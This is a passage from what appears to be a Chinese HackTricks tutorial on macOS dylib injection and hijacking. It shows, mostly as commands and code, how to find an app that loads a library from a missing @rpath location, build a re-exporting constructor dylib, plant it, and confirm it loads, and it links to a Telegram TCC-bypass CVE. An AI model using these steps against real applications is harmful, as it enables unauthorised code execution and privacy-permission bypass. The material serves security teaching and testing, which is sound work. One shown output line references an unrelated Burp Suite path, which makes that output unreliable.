int main()
{
printf("Hello, World!\n");
return 0;
}
```
注入:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld劫持示例
目标易受攻击的二进制文件是`/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
{% tabs %}
{% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
{% endtab %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
根据前面的信息,我们知道它**没有检查加载的库的签名**,并且**试图从以下位置加载库**:
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
然而,第一个不存在:
```bash
pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
所以,它是可以被劫持的!创建一个库,**执行一些任意代码并通过重新导出来导出相同的功能**作为合法库。并记得使用期望的版本进行编译:
{% code title="lib.m" %}
```objectivec
#import
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
{% endcode %}
编译它:
{% code overflow="wrap" %}
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
{% endcode %}
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为要导出的库的绝对路径:
{% code overflow="wrap" %}
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
{% endcode %}
最后只需将其复制到**劫持位置**:
{% code overflow="wrap" %}
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
然后**执行**二进制文件并检查**库是否被加载**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]
{% hint style="info" %}
关于如何利用这个漏洞滥用 Telegram 的摄像头权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。
{% endhint %}
## 更大规模
如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时加载到进程中(在这种情况下删除 printf 和 `/bin/bash` 执行)。
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
其他支持HackTricks的方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。